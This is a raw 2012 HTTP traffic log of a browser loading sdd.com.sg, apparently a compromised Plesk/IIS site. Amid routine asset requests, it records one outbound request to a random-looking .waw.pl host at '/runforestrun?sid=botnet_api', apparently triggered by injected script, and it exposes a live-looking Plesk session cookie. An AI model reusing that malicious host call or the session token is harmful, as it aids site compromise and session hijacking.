Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Content-Length: 6439
Etag: &quot;d2e494296018ca1:35b63&quot;
Last-Modified: Sat, 08 Aug 2009 19:41:02 GMT
GET /header.js HTTP/1.1

Host: sdd.com.sg

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sdd.com.sg/
HTTP/1.1 200 OK

Content-Type: application/x-javascript
Content-Length: 14955
Last-Modified: Thu, 26 Jul 2012 09:48:48 GMT
Accept-Ranges: bytes
Etag: &quot;3a9afdda136bcd1:35b63&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Mon, 05 Nov 2012 18:11:55 GMT
GET /css/winxp.blue.css HTTP/1.1

Host: sdd.com.sg

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sdd.com.sg/
HTTP/1.1 200 OK

Content-Type: text/css
Content-Length: 10633
Last-Modified: Sat, 08 Aug 2009 19:41:02 GMT
Accept-Ranges: bytes
Etag: &quot;d2e494296018ca1:35b63&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Mon, 05 Nov 2012 18:11:55 GMT
GET /img/common/top_bg.jpg HTTP/1.1

Host: sdd.com.sg

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sdd.com.sg/css/winxp.blue.css
Cookie: PLESKSESSID=93d5e02b78681c4f8eda1a4abd3f0cca
HTTP/1.1 200 OK

Content-Type: image/jpeg
Content-Length: 285
Last-Modified: Sat, 08 Aug 2009 19:41:02 GMT
Accept-Ranges: bytes
Etag: &quot;e0b9c296018ca1:35b63&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Mon, 05 Nov 2012 18:12:13 GMT
GET /img/common/top_body_bg.jpg HTTP/1.1

Host: sdd.com.sg

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sdd.com.sg/css/winxp.blue.css
Cookie: PLESKSESSID=93d5e02b78681c4f8eda1a4abd3f0cca
HTTP/1.1 200 OK

Content-Type: image/jpeg
Content-Length: 3857
Last-Modified: Sat, 08 Aug 2009 19:41:02 GMT
Accept-Ranges: bytes
Etag: &quot;e0b9c296018ca1:35b63&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Mon, 05 Nov 2012 18:12:13 GMT
GET /img/glyph/btn_coldfusion_bg.gif HTTP/1.1

Host: sdd.com.sg

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sdd.com.sg/css/winxp.blue.css
Cookie: PLESKSESSID=93d5e02b78681c4f8eda1a4abd3f0cca
HTTP/1.1 200 OK

Content-Type: image/gif
Content-Length: 1200
Last-Modified: Sat, 08 Aug 2009 19:41:02 GMT
Accept-Ranges: bytes
Etag: &quot;3a6e9e296018ca1:35b63&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Mon, 05 Nov 2012 18:12:13 GMT
GET /img/glyph/btn_aspdotnet_bg.gif HTTP/1.1

Host: sdd.com.sg

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sdd.com.sg/css/winxp.blue.css
Cookie: PLESKSESSID=93d5e02b78681c4f8eda1a4abd3f0cca
HTTP/1.1 200 OK

Content-Type: image/gif
Content-Length: 1471
Last-Modified: Sat, 08 Aug 2009 19:41:02 GMT
Accept-Ranges: bytes
Etag: &quot;e0b9c296018ca1:35b63&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Mon, 05 Nov 2012 18:12:13 GMT
GET /img/glyph/btn_php_bg.gif HTTP/1.1

Host: sdd.com.sg

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sdd.com.sg/css/winxp.blue.css
Cookie: PLESKSESSID=93d5e02b78681c4f8eda1a4abd3f0cca
HTTP/1.1 200 OK

Content-Type: image/gif
Content-Length: 574
Last-Modified: Sat, 08 Aug 2009 19:41:02 GMT
Accept-Ranges: bytes
Etag: &quot;94d0a0296018ca1:35b63&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Mon, 05 Nov 2012 18:12:13 GMT
GET /img/glyph/btn_asp_bg.gif HTTP/1.1

Host: sdd.com.sg

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sdd.com.sg/css/winxp.blue.css
Cookie: PLESKSESSID=93d5e02b78681c4f8eda1a4abd3f0cca
HTTP/1.1 200 OK

Content-Type: image/gif
Content-Length: 554
Last-Modified: Sat, 08 Aug 2009 19:41:02 GMT
Accept-Ranges: bytes
Etag: &quot;e0b9c296018ca1:35b63&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Mon, 05 Nov 2012 18:12:13 GMT
GET /img/glyph/btn_perl_bg.gif HTTP/1.1

Host: sdd.com.sg

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sdd.com.sg/css/winxp.blue.css
Cookie: PLESKSESSID=93d5e02b78681c4f8eda1a4abd3f0cca
HTTP/1.1 200 OK

Content-Type: image/gif
Content-Length: 899
Last-Modified: Sat, 08 Aug 2009 19:41:02 GMT
Accept-Ranges: bytes
Etag: &quot;94d0a0296018ca1:35b63&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Mon, 05 Nov 2012 18:12:13 GMT
GET /img/glyph/btn_python_bg.gif HTTP/1.1

Host: sdd.com.sg

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sdd.com.sg/css/winxp.blue.css
Cookie: PLESKSESSID=93d5e02b78681c4f8eda1a4abd3f0cca
HTTP/1.1 200 OK

Content-Type: image/gif
Content-Length: 1380
Last-Modified: Sat, 08 Aug 2009 19:41:02 GMT
Accept-Ranges: bytes
Etag: &quot;94d0a0296018ca1:35b63&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Mon, 05 Nov 2012 18:12:13 GMT
GET /img/common/banner.gif HTTP/1.1

Host: sdd.com.sg

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sdd.com.sg/css/winxp.blue.css
Cookie: PLESKSESSID=93d5e02b78681c4f8eda1a4abd3f0cca
HTTP/1.1 200 OK

Content-Type: image/gif
Content-Length: 18366
Last-Modified: Sat, 08 Aug 2009 19:41:02 GMT
Accept-Ranges: bytes
Etag: &quot;2c4797296018ca1:35b63&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Mon, 05 Nov 2012 18:12:13 GMT
GET /favicon.ico HTTP/1.1

Host: sdd.com.sg

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PLESKSESSID=93d5e02b78681c4f8eda1a4abd3f0cca
HTTP/1.1 200 OK

Content-Type: image/x-icon
Content-Length: 17542
Last-Modified: Sat, 08 Aug 2009 19:41:02 GMT
Accept-Ranges: bytes
Etag: &quot;788292296018ca1:35b63&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin, ASP.NET
Date: Mon, 05 Nov 2012 18:12:15 GMT
GET /runforestrun?sid=botnet_api HTTP/1.1

Host: eagepmuel.szhhqkuuakgwxver.waw.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sdd.com.sg/


GET /javascript/promo-flags.js.php HTTP/1.1

Host: sdd.com.sg:8880

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sdd.com.sg/
Cookie: PLESKSESSID=93d5e02b78681c4f8eda1a4abd3f0cca
HTTP/1.1 200 OK

Content-Type: text/javascript
Connection: close
Date: Mon, 05 Nov 2012 18:12:13 GMT
Server: Microsoft-IIS/6.0
X-UA-Compatible: IE=EmulateIE7, IE=EmulateIE7, IE=EmulateIE7
X-Powered-By: ASP.NET
P3P: CP=&quot;NON COR CURa ADMa OUR NOR UNI COM NAV STA&quot;
Etag: &quot;1352139133-93d5e02b78681c4f8eda1a4abd3f0cca-en-US&quot;